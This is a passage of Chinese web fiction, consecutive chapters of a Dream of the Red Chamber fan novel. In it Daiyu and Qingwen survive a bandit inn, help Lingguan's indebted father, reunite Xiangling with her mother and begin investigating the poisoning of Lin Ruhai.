贾琏摇头,嫌弃地摆手说:“嬷嬷们搬去给那边弟兄们吃吧。”又叫小厮送了自带的干净碗筷去厨房,再让雪雁去捧点心匣子来,给黛玉吃。 没过一会儿,跑堂又拿托盘端上来六碗醪糟汤圆,一时糯香四溢。 贾琏拿汤匙舀了舀,勉强说:“这个倒还罢了。”又问:“可有好酒?” “有,有竹叶青!”跑堂忙不迭去柜上搬酒坛去了。 王君效端起汤圆嗅了嗅,忽地架高胳膊,将禛钰刚抬起来的肘弓给压了下去。 禛钰何其敏锐,意识到这碗里有料,马上反应出这是家黑店,把碗撂了下来。 他见黛玉正要提起调羹,迅疾出手将她的手背摁住,尾戒上的金刚石闪过一道微芒。 谁知晴雯登时抄起筷子打过来,破口大骂:“色胚,还不快拿开你的狗爪子!” 遭人唐突让黛玉心惊不已,羞怒交加,看向禛钰的眼神充斥着厌憎与防备。 禛钰只得撒手,又见一圈人向自己侧目而视,嗡嗡责言,阴阴窃笑,只把他当做了见色起意的登徒子,别提多窘迫难堪了。 贾琏正欲板着脸教训他两句,恰时跑堂送酒过来,还意味深长地看了禛钰一眼,更是叫他郁愤难言。 他咬牙切齿地瞪着晴雯腹诽:“小丫头你叫晴雯是吧,我摁住她的手是为救她,这可是家黑店!” “黑店!”晴雯惊讶之下,脱口而出。 众人皆是一惊,禛钰暗骂这丫头总算明白过来,却打草惊蛇了! 只听哐啷一声响,酒坛碎裂,浊酒撒了一地。跑堂从桌底摸出一把砍柴刀,大喝一声:“抄家伙!” 从柜台后,厨房里一时窜出七八个持刀的歹人。 “快跑!”禛钰大喊一声,将跑堂推倒。 那些婆子嬷嬷们都一窝蜂往门口涌去,只有一个王嬷嬷跑不动,挺身挡在了黛玉面前。 “都别动,谁动我宰了他!”厨子一挥菜刀比在贾琏的脖子上,勒出一道血痕:“把你们带的值钱玩意儿都堆到桌上。” 贾琏吓得腿软筋麻,连呼:“好汉饶命!” 紫鹃一见了血登时泪涌,晴雯虽有几分孤勇,可一旦六神无主,就慌了手脚,也跟着落泪,“姑娘……” 她们两个虽然心惊胆颤,浑身发抖,但是依旧死死地护在黛玉左右。 禛钰见黛玉的身子不可抑制地抖瑟,但她咬着唇始终不肯堕泪,还有心情打趣她:“怕成这样,林小姐怎么不哭?你跟你的小表哥难舍难分的时候,哭得那叫一个抛珠洒泪,我见犹怜的。” 黛玉冷瞥他一眼,一语双关地道:“宵小鼠辈,也配见我的眼泪。” 她留心观察这些歹徒的行事做派,发现他们使的刀具皆为农具,应是落魄流民,还没胆子杀人越货,只敢敲诈勒索,可见他们还是有所畏惧的。因而虽则紧张万分,倒不至于心慌意乱,哭天 17. 春绾晴黛第十七回 《[红楼]春绾晴黛》全本免费阅读 情哥哥误信耳畔音,好妹妹相思怀中表 看她们那娇柔纤细的样子,连张纸都戳不破,只怕贼人近前,先一个腿软手松了。 禛钰一边抄弹弓远射贼匪,一边还漫不经心地揶揄黛玉:“为何尖头不朝己?莫非贪生畏死,宁可蒙羞受辱,也不肯守身如玉?” 黛玉横他一眼,冷笑道:“玉可碎而不可毁其白,竹可焚而不可毁其节。①我虽柔弱,亦不肯自戕以全名节,必先拔簪刺敌,以明心志,以正父名。纵力有不逮,又有何惧,身后便是悠悠淮水……” 她的话音清绝明彻,却有一种慷慨铿锵之力,铮铮然敲打在禛钰的心坎上。 “淮水悠悠千里路,烟波江上自由身。②是么?”禛钰勾唇一笑,幸好她没将那礼教节孝那堆道理学迂腐了。 他打了个呼哨,唤来了自己的坐骑,腾身上马,将弹弓掷到黛玉怀中,冲她一笑:“小冤家,我不教你死,你就死不得。” 只见他眼波湛然,明眸如星,黛玉被他看得莫名脸颊发烫。 禛钰闭眼而后深吸一口气,复又睁眼勒缰立马,挥刃杀入阵中,再无回顾。 王君效虽说身子骨硬朗,八旬之寿体力堪比春秋鼎盛时的男子,只可惜久疏练功,动辄两下四肢就发酸了。幸而禛钰冲了进来,手起刃落,替他干掉了两个抢匪。 没过多久,东宫暗卫飒然而至,三人护住太子,其余人冲锋陷阵,不到一盏茶的功夫就剿灭了所有贼匪。 禛钰还不想暴露身份,骑在马上便对暗卫首领说:“你们既是王正堂的扈从,先分人找寻贾府失散的奴仆,其余人处理贼匪流寇。一则交官惩办,二则摸清他们在江南的老巢,断其粮,毁其兵,竭其财,释放人质俘虏。” 他想了一会儿又补充道:“若有女子不幸受辱,先不必放还回家,发放新的黄册户籍,送她们去姑苏做织工罢。” 暗卫领命而去。 王君效方才打得酣畅淋漓,大有老将黄忠勇冠三军的气势。贾琏起初胆怯,筋骨活动开后,倒也能在阵中腾挪躲闪,最后能全身而退,也是万幸。 风雪也渐渐停了,禛钰兜转马头回来,却惊觉黛玉主仆三人不在原处,脚印被雪覆盖,无所追踪。 他看向茫茫的江面,心中一阵慌乱,扬声大喊:“小冤家!快出来呀!强贼尽诛,已经无碍了。” “小冤家!小冤家!你若死了,那可蠢死了!” 可是四周久久无人应声,禛钰骑在马上原地打转,莫非她们太害怕已经先行一步了? 圣人云:爱之欲其生,恶之欲其死。可当自己深恶痛绝的仇人之女,就这么轻易地死了,他却茫然不知所措,心不甘、情不愿,仿佛有一口气堵在了喉头,上不去也下不来。 禛钰终于意识到,自己根本不想仓促间面对她的骤然死亡。他猛然想起圣人的后半句话:既欲其生,又欲其死,是惑也。 他在疑惑什么,还是说被什么迷惑了? 忽然面门犹如被鸟轻啄了一下,他反手一抓,捞到了一颗小石子。 “你叫谁小冤家?谁跟你是冤家!” 只听水底一声娇喝,竟见黛玉一手持弹弓,一手提裙,从河底款款走了上来,似怨似嗔地看着自己。 四目相接的一瞬,禛钰心脏狂跳不止,身形一晃,几乎是滚下马来。 她是洛神所化的么?能从水里纤尘不染地钻出来。 在他一晃神的刹那,黛玉身后又走出一排粗笨的老婆子,雪雁与紫鹃两个也将王嬷嬷搀了出来。虽说大家难免有些灰头土脸的,好在都性命无忧。 原来雪雁下船时就发现临河栈桥下有一个大涵洞,恰是藏身躲祸的好地方。她方才要送点心匣子进去,却见婆子嬷嬷们逃命出来,忙接引她们到这里藏身了。 晴雯接过黛玉手里的弹弓,啪地一声摔到禛钰怀中,愤愤然地说:“还你!”只见那小丫头指着他的鼻头,横眉骂道:“亏你还是大家公子哥儿,连个称呼都不讲究,我劝你出门在外还是顾些体统罢。” 禛钰被这烈性的骄婢打过一筷子,对着她竟隐隐有些发怵。满脸堆笑地给黛玉作揖赔不是:“在家与姊妹们谑笑科诨惯了,唐突姑娘了。仅此一遭,咱们两家也算世交了,我今后唤你林妹妹可好?” 黛玉轻哼一声:“油嘴贫舌,谁是你妹妹。”说着扭身走开。 她腹中有些饥饿,取出怀表看了看时辰,蓦然发现长短两针重合成了一线,想起送别时宝玉说的话,她抿嘴一笑,自言自语道:“谢哥哥多情挂念,妹妹我平安无事。” 这话几乎是擦着禛钰的耳朵飘过,他竟羞红了脸,还在咀嚼回味中,下一瞬就反应过来,这话不是对自己说的。 “自作多情”四个字几乎贴脸在他跟前晃悠了。 晴雯跳过来,探头一笑:“姑娘,双针重合了,岂不是表明宝玉在想你,你也在想他。” 黛玉啪地一声合上表盖,在她腮边一拧:“要你多嘴!”想不到宝玉的悄悄话,叫她这小妮子给偷听去了,真真羞死人了。 晴雯偏又好奇地问:“那这表里的两根针一天要重合几次?” “二十二次。”黛玉不假思索地说。 “这么说,姑娘一天看表不止二十二次了,哈哈,回去我要说给宝玉听,林妹妹黑日白夜的都在想他,二爷听了定会厚赏我。”晴雯摇头晃脑地说。 黛玉急了,忙去搬她的肩,跺脚道:“你要敢说一句,看我不撕烂你的嘴!” 两人笑闹着,只把呆立不动的禛钰当石柱子,围着他左追右撵,晴雯跑着突然煞住了脚,求饶道:“好姑娘,饶了我这一遭吧,我再不浑说了。” “这是你说的。”黛玉原本信了,就要丢开手,就见晴雯捂嘴笑弯了腰,哪里还饶她,谁知脚下绊跌了,一头扑进了禛钰怀里。 禛钰面色沉沉,将她扶住,撤手旋踵而去。 黛玉尴尬不已,捂着脸跑开了。 禛钰闷头走了许久,心气依旧不平,转了转手上的尾戒,自嘲一笑:“还说不是冤家,偏往我怀里撞。” 只觉心里胀得难受,又说不清是何道理。 “撞了人总该道个歉吧?”禛钰自己想了个理由,转身又往回走,踩得地下的雪咯吱咯吱响。 原地除了一地凌乱的脚印,谁也没在。 禛钰泄了气,忽见地下有个白澄澄的珠子映在皑皑雪中,捡起来一看,恰是小冤家头上的珠簪。嘴角不觉噙起一丝笑意,托在掌心掂了掂道:“这不落我手里,哪能甘心!” 谁知一个不留神,有人劈手来夺。 禛钰连忙退闪一步,将簪子藏在身后。 晴雯伸手讨簪,气哼哼地说:“那是我们姑娘的簪子!快还回来!” 禛钰无奈一笑,这个丫头真是鬼精鬼精的, 18. 春绾晴黛第十八回 《[红楼]春绾晴黛》全本免费阅读 过城隍才遇龄官父,宿田庄又逢香菱母 紫鹃听到动静,走过来看晴雯:“哎呀,烫到了没?我去打凉水给你泡一泡,你快脱了鞋袜。”说着就提桶急匆匆地出去了。 晴雯这才后知后觉地疼起来,她褪去鞋袜,单腿蹦到窗口看龄官。 那牙婆看到龄官,眼中闪过一瞬惊艳,旋即又掩盖了下去,用不可无不可地语气:“五两银子卖不卖?” 龄官父亲知她是个恶毒贪财的牙婆,唯恐女儿被她倒卖到倡伶之地,烟花之所,他又笨口拙舌,一味摇头不卖。 “骡子驮重不驮轻,生就那贱东西货,还做张做智呢。”牙婆骂骂咧咧地不肯罢休,什么娼妇、粉头、瘦马、莺花、奴几直骂了个遍,只把龄官之父气得捶胸顿足,上气不接下气。 龄官也是硬气,霍地站起,将那牙婆一推:“你个蝎子贴膏药的,又黑又毒。鸡子儿下山,赶紧滚蛋!” 那牙婆不防摔了个跟头,龄官见了噗嗤一笑。 晴雯见了想笑又笑不出来,即便现在龄官没有卖给这个牙婆,一年后她还是会被贾府买来当小戏子教养,地位就连她们这些丫头还不如。 龄官显然也是不想做丫头的,后来甄太妃薨了,府中解散了戏班,龄官是甘愿放出府的。只是不知她后来怎么样了。 黛玉听说晴雯烫了脚,忙取了膏药过来看她。却见她对窗流泪,好不伤心。 “疼得这样厉害?”黛玉走过来问。 晴雯摇头,指着龄官对黛玉说:“姑娘你瞧,那儿有个小姑娘要被父亲卖了还债。” 黛玉看了“卖女还债”四个字,心就跟着痛起来,叹了一口气道:“也不知她家欠了多少钱,若是不多,我们倒可以帮她一把。” “我这就下去打听一下!”见黛玉有悯人之心,晴雯顾不得脚疼,就想往楼下冲。 黛玉将她拽住,“不急,我叫个婆子去问问,不须你出面。” 一盏茶的功夫,那婆子进来回话说:“姑娘,那家人姓林,说来也是本家了。当娘的早死了,当爹的原名林安,是淮阴跑街串巷的车把式。林安几年前得了重病,再也驾不了车,长年累月举债看病,积欠了七十两还不起,只能把十岁的独女林妞儿给卖了。” “真是可怜。”黛玉想起父亲的病,不由悲从中来,恻隐心起,她吩咐婆子取一百两银票给那对父女还债,余下的钱就留给他们度日。 “阿弥陀佛,姑娘真是好心肠!”婆子口中念佛,高高兴兴地去了。 谁知婆子才下楼去,龄官之父就当街晕厥了。 外头一阵喧嚷,打搅了贾琏的酒兴,王君效听见有人晕倒了,一拍窗台就跳了出去。 “让一让,我是大夫!”王君效拨开众人,去看那病患的情形。 林安面色苍黄,眼球发蒙,腹筋臌胀,是“风、痨、臌、膈”四大难症中的“臌症”。 若是别人来治十年也治不好,他来治,一月即可大愈,只是他皇命在身,不能延误。只能暂且扎针将他救醒。 王君效三针下去,龄官父果真就幽幽转醒。 “爹!”林妞儿喜极而泣,又忙给王君效磕头:“谢谢神医老爷,谢谢神医老爷。” 晴雯看了个正着,原来三针就可以救命,想要学医的心就更强烈了。 待围观的众人渐渐散了,老婆子才将百两银票送到了父女手中,并说明了来意。 林妞儿更是感激不尽,重重地向婆子磕了三个头。 “使不得,使不得,这都是我们家小姐的意思,结个善缘罢了。”婆子忙将女孩拉扯起来。 林安挣扎起身,对女儿说:“妞儿,人家贵人心善,舍了大钱出来救了我们的命,你就跟她们走,伺候贵人一辈子,也算报偿了她的恩情。” 婆子又说:“我们家的规矩只用家生子,从不买外头的人。我们姑娘施恩不图报,你们只管拿去过活,不必说什么报答的话。” 禛钰见了这一幕,若有所思,暗中吩咐章明道:“你找个由头,去把那对父女雇下来,在淮安码头等我们。” 在城隍庙住了一夜后,第二天清早虽无风雪,偏又大雾蒙天,亦不可行船。 贾琏与王君效商议,由几个会水的扈从牵船南下。他们稳妥起见,还是多走两天路陆,到淮安码头,再乘船直达扬州。 黛玉忧心天气变化无常,不能早日到家,食欲大减,整个人坐在马车里恹恹欲睡,精神不振。晴雯忧心她添了病症,忙请王君效过来看诊。 因在行车路上,王君效又是八旬老叟,实无嫌疑可避,几个丫鬟也就没请嬷嬷们进来。 “林小姐思父心切,略有不服水土之症,吃几颗藿香正气丸就好了。”王君效很快收了脉枕。 紫鹃为难道:“可是我们姑娘连饭都不肯吃,光吞药丸可怎么行。” “若能弄点家乡风味给她尝尝,或许就吃得下了。”王君效道。 雪雁忙凑到黛玉面前问:“姑娘想吃姑苏菜么?说个名儿我去街市上买。” 黛玉想了想,说:“也不知这里有没有三味圆卖。” “那是吴中献龙宴的压轴汤菜了。”王君效听了,不由抹了抹嘴,回忆起了记忆中味道:“当年太上皇起事,打到吴地时,也曾吃过献龙宴,老夫有幸敬陪末座,尝了一尝,那真是鲜香可口,如今想起来也是口齿生津。” 知道黛玉有了想吃的东西,林家的丫头婆子就四处问询有没有食肆铺子卖三味圆的。 黛玉这一病,禛钰又一日不得见她的身影,颇不自在,听到王君效的消息,忙让暗卫在方圆三十里内,找会做三味圆的庖厨行家。 得知往南二十里外的封氏田庄,主家是个寡妇,她原籍姑苏,做的三味圆颇为地道,就连县太爷都大为称赞。 禛钰让扈从先行去那里勘察打点,陈设装饰,确认安全后,才跟贾琏通了气。 算过车程到田庄上,刚好停车吃饭,住宿过夜。贾琏听到他小小年纪,安排得如此精细缜密,很是佩服。 想起这一路上,小王公子于别的事上浑不在意,只在林妹妹身上多有眷注,又怀疑他思慕少艾,别有居心。谁还不是打他这年纪过来的。 毕竟世家大族,十二岁以上的姑娘差不多都要议亲了,林妹妹又生得那样绝色,是挺让人眼馋的。 贾琏一边客套感谢,一边暗示他道:“多谢王公子高情厚谊,关切筹划。我这妹妹自小体弱多病,娇生惯养的,只怕将来还须我堂弟为她担惊受怕,操一世的心了。”说着,就觑眼悄 19. 春绾晴黛第十九回 《[红楼]春绾晴黛》全本免费阅读 思报复太子蓄奸心,揆情理小姐暗提防 晴雯与黛玉面面相觑,瞬时明白,这位老妇人就是香菱的亲母了。 “大娘,我们知道……”晴雯迫不及待地想要告诉封娘子香菱的事,却被黛玉扯住了衣袖。 晴雯面露疑惑,咬唇不语,就听黛玉说:“我们知道大娘心中难受,只是暌违年久,少小离家的孩子,记忆浅薄,恐怕也难寻了。” “谁说不是呢?我又搬离了故地,只怕英莲就算回了姑苏,也找不到娘亲了。”封氏说着说着就红了眼圈。 晴雯忙走过去,拿帕子为她擦眼泪,宽慰道:“大娘别伤心了,俗话说山水有相逢,来日皆可期①,说不定很快你就能与女儿相见了。” “好姑娘,承你吉言了。”封氏不禁忘情哭泣,一时泪落襟怀,发蓬钗松,又觉失礼犹豫着要不要去里间理妆。 晴雯乖觉,忙道:“大娘快别哭了,我最会梳头妆饰,现替您梳头净面吧。” 封氏羞惭道:“让姑娘见笑了。” 待晴雯替封氏理完妆发,黛玉把她女儿的事放下不谈,只用家乡话与她说了些姑苏的旧闻、旧景,在温糯婉转的吴侬软语里,封氏也渐渐平复了心绪,重展了眉头。 闲话叙了小半个时辰,黛玉携晴雯告辞。 二人回到自己的厢房,晴雯伺候黛玉卸妆洗沐。 好容易房中就剩她两个人了,晴雯才问黛玉为何向封娘子隐瞒了香菱的事。 黛玉叹道:“你也瞧见了,那封娘子神疲心弱,忧伤过度,咱们且让她今晚好好睡一觉再说。倘若我们讲了香菱的事,她必然情致激动,哪里还睡得着。一则我要确定她会如何安排女儿的未来,有没有保护女儿的能力;二则还要考虑如何维护香菱的名誉,如何将她平安地从薛家救出来。兹事体大,关乎香菱的一生,我们务必慎之再慎。” “还是姑娘想得周到,怪我鲁莽了。”晴雯扪心自省。 “你有这份急公好义的心就很难得了,以后在事上多琢磨几分因果利害,也就好了。”黛玉宽慰她道,又指着书桌说:“我想把香菱的画像画出来,你去替我研墨吧。” “主子,人在画画呢,什么都听不到,要不咱回去?”章明忍不住打了个哈欠。 禛钰喃喃道:“真是个多管闲事的烂好人。” 章明迷瞪瞪地说:“是呀,都说好人不长命,祸害遗千年。” “闭嘴!”禛钰心烦,赏了他一个暴栗,抬脚走了。 翌日清晨,四野雨润烟浓,田庄上下一片渺渺茫茫,依旧不是行路天。贾琏望候了天色,心料午后必晴,再走不迟。 黛玉则带着晴雯找封娘子谈香菱的事,晴雯看黛玉眼色行事,先是愉快地把她们在路上的风物见闻,挑了一些讲了,而后引到了龄官卖身还债的事上。 “那林家父不愿将女儿卖做瘦马给人当妾,又被牙婆奚落,差点一气病死过去,幸好我们王大夫医术好,将他救了回来。” 封娘子听得揪心,双手合十念叨:“阿弥陀佛,菩萨保佑,幸好没出事。这世上可怜人何其多,我还有片瓦遮身,薄田度日,已是不幸中的万幸了。” 晴雯又继续说:“我听闻那些拐子会将女孩养到十一二岁,度其容貌,若是美貌者优先卖人为妾。大娘的女儿必然十分标致貌美,很可能是嫁给大户人家做妾了。若是找到她,困在深宅大院里,只怕也难开解了。” 封娘子叹息了一声,“若我女儿也被人养作瘦马与人做妾,我哪有不心疼的。倘或她在那家里过得好,不愿离开,我就尽力补给她嫁资,四时八节探望关怀。倘或她在那家里过得艰难,朝打暮骂,受尽欺凌,我就是卖房卖地,当老乞婆也要赎买她出来。而况我也不是没有靠山,严老爷鳏居多年,想与我搭伴偕老,若是我找到女儿,自能为她撑腰扶掖。” 黛玉与晴雯对视一眼,缓了片刻,郑重其事地说:“大娘,其实我们见过你女儿。”她取出香菱的画像,铺展在封娘子面前,“她如今叫香菱。” 封娘子哑然失色,望着画像呆怔了许久,泪如滚珠,呜咽哽咽。晴雯一边安抚封娘子,一边将香菱的来龙去脉和现状简明扼要地告知了她。 听得封娘子大悲大喜,涕泪交加,当知道是先夫昔年旧友贾雨村从中作梗,害她女儿有家不能回时,她悲愤交加,大骂忘恩负义之徒,几乎气晕过去。 又得知英莲被眼前的主仆二人保护了起来,封娘子更是抢着要磕头谢恩。 黛玉与晴雯忙将她搀扶起来,又闻言软语安慰了许久,封娘子才镇定下来,接受了女儿安好的喜讯。 “既然话已说开,我们就要筹划着如何将香菱平安地救回来,既不伤及她的闺誉,也要让背后盘根错节的势力没有插手干涉的机会。”黛玉冷静地陈述了目前面临的主要困境。 封氏毕竟久居田庄,不了解宅门大户中错综复杂的人情关系,一时也没个好主意。 晴雯想起媚人说过薛家每况愈下,经济拮据,而薛蟠又好赌的事来。于是提议道:“薛家如今也是真穷了,金山银山差不多被那薛大傻子克耗干净了。他又爱赌,不如我们开个千局做个套子,哄他输钱。为了填债,就不得不把香菱给卖了。” “这主意不妥。”黛玉摇头,义正言辞地分析:“一则我们都是弱质女流,不认识外面的爷们,没有个生面孔如何做这个险局;二则开局设赌……” 黛玉正说着,谁知被一阵敲门声打断。 封氏一阵慌乱,唯恐密谋之事被人窥听去了,扬声问:“寒梅,是你在外面吗?” 门外人道:“林姑娘,是我。” “王公子?” 黛玉思忖了一会儿,对封氏说:“他是我们的人。”而后示意晴雯去开门。 禛钰走进门来,对着封氏遥遥一揖,郑重其辞地说:“大娘,方才我从旁路过,无意听到了三位的难处,君子急人所困。在下不才,略有绵力,愿为这个设局之人。” “这……”封氏看这公子年小相嫩,不过舞象之龄,如何做得了这样的大事,可是又不知如何拒绝他的好意。只得用求助的眼神看向黛玉。 黛玉开口道:“王公子高义,实在教人佩服。只是我方才话未说 20. 春绾晴黛第二十回 《[红楼]春绾晴黛》全本免费阅读 忘嫌疑糊涂三不舍,入膏肓毒病两交攻 在运河上前后长行了二十多天,扬州城已经指日可到。贾琏观望了天气,在宝应县渡头泊船,安排了最后一次补给。 黛玉在船舱中待了多日,第一次出舱透了口气,忽见淮阴城隍庙前所见的林妞儿,从王君效的楼船上下来,冲她挥手笑:“林姑娘!林姑娘!” “你怎么在这儿?你怎么认得我们姑娘?”晴雯诧异,龄官这时候应该还不认得她们才对。 楼船缓缓地靠向了黛玉的船,永龄跳到这船上,笑盈盈地对黛玉说说:“林姑娘,王公子雇我们父女做活半年。是他告诉永龄,您就是帮扶我们还债的恩人。既是恩人,永龄哪能不认得呢?” 黛玉不由向楼船上看了一眼,“他叫你永龄?” “是,王公子给我起了这个名字。”永龄想起王公子的吩咐,睇了晴雯一眼,悄悄对黛玉说了主人相请见面的事。 黛玉摇头道:“这不妥。”哪有与外男私下见面的道理。 永龄清了清嗓子,模仿着王公子说话的语气和架势说:“惮劳怕怨,做不得事;避嫌远疑,救不得人。①我都不怕劳怨,姑娘又避哪门子的嫌疑呢?我们公子是这么说的。” “那好,我去楼船上请王君效诊脉。”黛玉又回头对晴雯说:“我说一句话就回,你在这里等我。” 晴雯不愿意被她撇下,当着永龄的面就说:“姑娘,你前几日还说王公子心思深沉,行事多有藏掖,让我们多提防他,避免他靠近。如何又单独见他呢?” 黛玉正色道:“我说一句话,就不会有第二句。” “好,姑娘去吧。”晴雯知道黛玉是个守信重诺的人,必然会妥善处理。 黛玉进到楼船内舱,见到王公子,先行一礼,而后说:“王公子,我思虑良久,英莲一事也牵涉到我的蒙师徇私枉法之罪,还是托我父亲秉公处理更为便宜,就不必劳烦王公子了。”她说完转身就走。 禛钰哪肯让她就这么走了,叉手挡在了舱门前,“我承认,我行事不够光明磊落,只是年少心热,稍显冒状,但绝无害你之意。” 晴雯那丫头方才所言,都被他一字不落地听到了,禛钰哪肯承认一二,振振有词地说:“我想说的要事实则与薛家无关。” 黛玉默然无语,狐疑地看着他。 望着她美眸中尽是不信,禛钰不由心生挫败,将手从舱门上松开,缓缓道:“曾叔祖为陛下诊脉时听到一个消息,陛下已派了钦差微服私巡江南,要稽核盐课往年四柱清册,整饬官场。你父亲又要养病又要应付钦差,恐怕焦心劳思多有不暇,姑娘又何必拿薛家小事打扰他呢。” 什么?黛玉蓦然抬头,心念急转。 若果真如此,她的确不宜将此事告知父亲了,相反要从速切割与贾雨村、薛家的种种联系。王公子这个忙倒是帮得及时,就怕他别有所图…… “谢公子关照提醒,告辞了。”黛玉不暇多待,提裙出舱。 禛钰目送她来去匆匆,后悔不迭,他竟为了与她多说一句话,将自己此行目的告诉了她。他靠着舱门,气得胸口上下起伏,“我一定是疯了。” 万一林如海得知消息有所准备,那他要查到真账可就困难重重了。 章明伸手在禛钰额头上试了试,疑惑道:“公子也没发热呀?”那为何尽干蠢事? 乘着雪晴天他们日夜行船,一刻不停,黛玉终于提前三日回到了扬州林府,她风尘仆仆不敢稍息片刻,一路直奔父亲的卧房。 “爹,玉儿回来了!”她跪在父亲榻前,忍泪强笑:“父亲,陛下遣王正堂为您诊治,您一定会好起来的。” “我的玉儿,回来就好,回来就好……” 禛钰抢过王君效的药箱,与他一齐进去,就看到父女二人抱头痛哭的场景。 林如海年逾不惑,儒雅蕴藉,品貌一流,不愧是当年一甲探花郎。只是他犹在病中精神不济,双鬓灰白,更兼面罩黑气,口唇发乌,才与女儿说了几句话,就咳嗽了数回,腹痛如绞。 王君效奉命为林如海诊治,不敢多耽搁,伸手就去探他的脉息。宁神诊了半刻工夫,又换过另一只手来诊。 一般大夫在看到林如海病入膏肓的样子,有所诊断也必是避着病人说,而王君效不一样,他要求所有奴仆都远避,只让黛玉、贾琏及禛钰在场,而后痛痛快快地说了。 “御史勿忧,病三月可愈,毒七日可清。” 听到一个“毒”字,所有人都愕然失色,惊惧地望向王君效。 王君效面不改色地道:“病是肺痈五年前就有了,毒是衔羽藤,应是近日少量多次投喂累加的,人若连服上百日,便是老夫也救治不及了。病、毒交攻之下,人自然就沉疴难起了。” “衔羽藤在府中必有残余!”林黛玉霍然站起,沉声道:“毒必然是从口而入,我即刻以防止父疾传染为由,让管家关锁门庭,封闭厨房、茶房、水井,不许任何人出入。” “玉儿,你要当心……”林如海满目忧色,眉头深皱,若非玉儿进宫求贵人,让陛下派遣王正堂看诊,只怕女儿回来不久就要成孤儿了。 贾琏道:“姑父放心,我带了些得力的人来,定会将此事查个水落石出。”他颇通庶务,擅能机变,料定藏匿在林府的凶嫌可能反抗不从。“内侄稍后即带我的人守在府中各门前,提防着凶嫌畏罪逃跑。若有不从的,先捆起来,再听候姑父发落。” 当黛玉听到父亲中毒的消息,无异于雷霆一惊,她将心一沉,对着王君效倾身一跪:“正堂大人,我父亲的病就拜托你了,一切修方配药,饮食调理,听凭您安排,小女奉令承教,无不从命。眼下我必要先找出投毒之人。” 身为大夫,最欣赏的就是遵医嘱的病患和不多话的病人家属,王君效点头答应。 他随后援笔写药方,沉吟道:“衔羽藤乃北疆之物,其状可研成白色粉末,也可为黏稠水液,气味芳醇类花香。这七天,御史大人可要受些苦痛了,要拔毒,需清胃灌肠,上呕下泄在所难免。” 林如海淡然一笑:“无妨,全凭正堂做主。” “林姑娘一个人,想要如何查?”禛钰放下药箱,有些担忧地看着她。 黛玉瞥了他一眼,垂眸道:“林家人口不多,百十来个人,一个个查,总有查清楚的时候。” “我帮你!”禛钰向她迈了一步。 黛玉看了父亲一眼,对禛钰正色道:“若我力有不逮,自会请王正堂及琏表兄周全协佐。再不济,我会请舅父上告天听,彻查此事。”说罢就离开了屋子。 “林姑娘!”禛钰信 21. 春绾晴黛第二十一回 《[红楼]春绾晴黛》全本免费阅读 开心眼寻证显神通,话家常谈笑剖真相 晴雯跟在黛玉身边,看她打理林府诸事,敲打刁奴,才知道黛玉小小年纪,管理庶务的才干丝毫不逊色于凤姐,而且她宽严相济,赏罚分明,很得仆妇的敬重。 那些乘着主人病倒,小姐离家期间,偷奸耍滑、欺上瞒下的奴仆,也在黛玉一通分条析理、明察秋毫之下,坦诚错误,加倍描赔府中损失。 为抄检一事打马虎眼,黛玉雷厉风行地处理了几桩奴仆贪赃渎职的家务事后,就着手准备与姨娘们接触。 儿时的黛玉体弱多病,一直在母亲膝下静养,鲜少与父亲的通房侍妾接触。母亲病故后,又去了外祖家。如今再见这些女人,可谓是人生面不熟。 父亲的三个女人中,柳姨娘最为年长,是母亲的陪嫁丫鬟,她知书达理,擅长筹划备办,深得父母的信赖。黛玉离家后,林府的中馈庶务就是柳姨娘在帮忙协理。 柳姨娘照顾过襁褓中的黛玉,对她最为亲切殷勤,亲自洗手作羹汤给小姐接风洗尘。 “我离家数年,林家多靠柳姨娘费心掌理了。”黛玉感激地说:“若不是柳姨娘兢兢业业,日夜操劳,只怕府中早就乱套了。” 柳姨娘谦虚道:“姑娘客气了,这都是我应该做的。” 转而想到,林姑娘一回家,就用雷霆手段发落了几个依附自己的管家婆子,又难为情地说:“只是我脸软心活,压不住府中旧人积威,难免被人欺诳蒙蔽。幸而姑娘回来及时,又心明眼亮的,揪出了鼠偷狗盗之辈,没有酿出大错,否则我死后哪有颜面去见太太。” 说着柳姨娘就悄然拭泪,余光瞥见黛玉稳如泰山,未置一词,料想自己话还没点透,继而又说:“姑娘既然回府,这几日府中大事小情自然还需劳动你来料理,我也好偷个空,多照看老爷一点。” 黛玉哪里是向她讨要中馈之权,不过是在揣度她的话外音罢了,笑道:“姨娘过谦了,若是我来管,只怕他们还欺我年轻不知事。我父亲又无续弦之意,这担子姨娘只怕还要挑一辈子呢。” 这话正撞在柳姨娘的心坎上,她眉头一挑,唉声叹气地说:“从前太太去了,老爷让我帮衬他几年,我说陈妹妹才惯熟庶务,又是家生子,比我强得多。可老爷不许我辞,我只得赶鸭子上架。如今习学着打理了几年,人来客至的,依旧不成个大家样子,怨不得那起子小人想方设法要害我呐。” “姨娘只管放心料理,略有疏漏也无伤大雅。父亲那边有太医照看,尚无需操心。”黛玉已经悉知她的心思,只叫她一切照旧打理。 “是呀。”柳姨娘嘴上附和着,心里想的却是:“老爷的情形仿佛比前儿更差了,又是水米不进又是吐泄不止,只怕就这两天的事了。老爷这一去,我的天就塌一半了,还不知怎么活……” 晴雯听到了柳姨娘“情形”之后的后半截心声,初步判断这人应该不是凶手。 黛玉那边也已经排除了柳姨娘作案的嫌疑。 柳姨娘显然很看重官宦之家的中馈之权,她为人精明细致,颇人手腕,懂得培植党羽,巴结贵人,能够弹压住林府根基深厚的陈姨娘。 可以说她表面是林府的“平儿”,芯子里是林府的“王熙凤”,大抵从前还梦想着有朝一日能被父亲扶正。 倘若父亲死了,按林家旧例,家生子做了姨娘需在墓前结庐守孝不能擅离,而陪嫁来的姨娘则不必为家主守寡,领一笔丰厚的抚恤后,发放回原籍,可寻夫再醮。这也是对当家主母的尊重,可这对于做惯了“官太太”的柳姨娘而言,绝不是一桩好事。 同理,管家万隆也是最不希望林如海一病死了的人,万隆年过半百,膝下只有两个女儿,且都已出嫁了。而他的侄子万兴是良籍,中举三年,正欲下场大比,最是需要人脉铺路的时候,若没有林如海的提携举荐,前程难得坦途。 偏偏剩下的两个嫌疑人,都是林府旧人,一个是祖母赐给父亲的陈姨娘。一个是从小伺候父亲的丫鬟照雪,知根知底。她们二人从姑苏祖宅起,跟了父亲十多年,怎么看都没有犯案的嫌疑。 到了夜间,贾琏派出去打听查探姨娘和管家与什么人接触的小厮回来,写了几张陈条递送进来。 林黛玉在灯下细看,总管万隆受父亲委托,近年来多与扬州知府、巡漕御史、太仓度支礼尚往来,除了两个女儿年节来探亲之外,没有因私出府过。 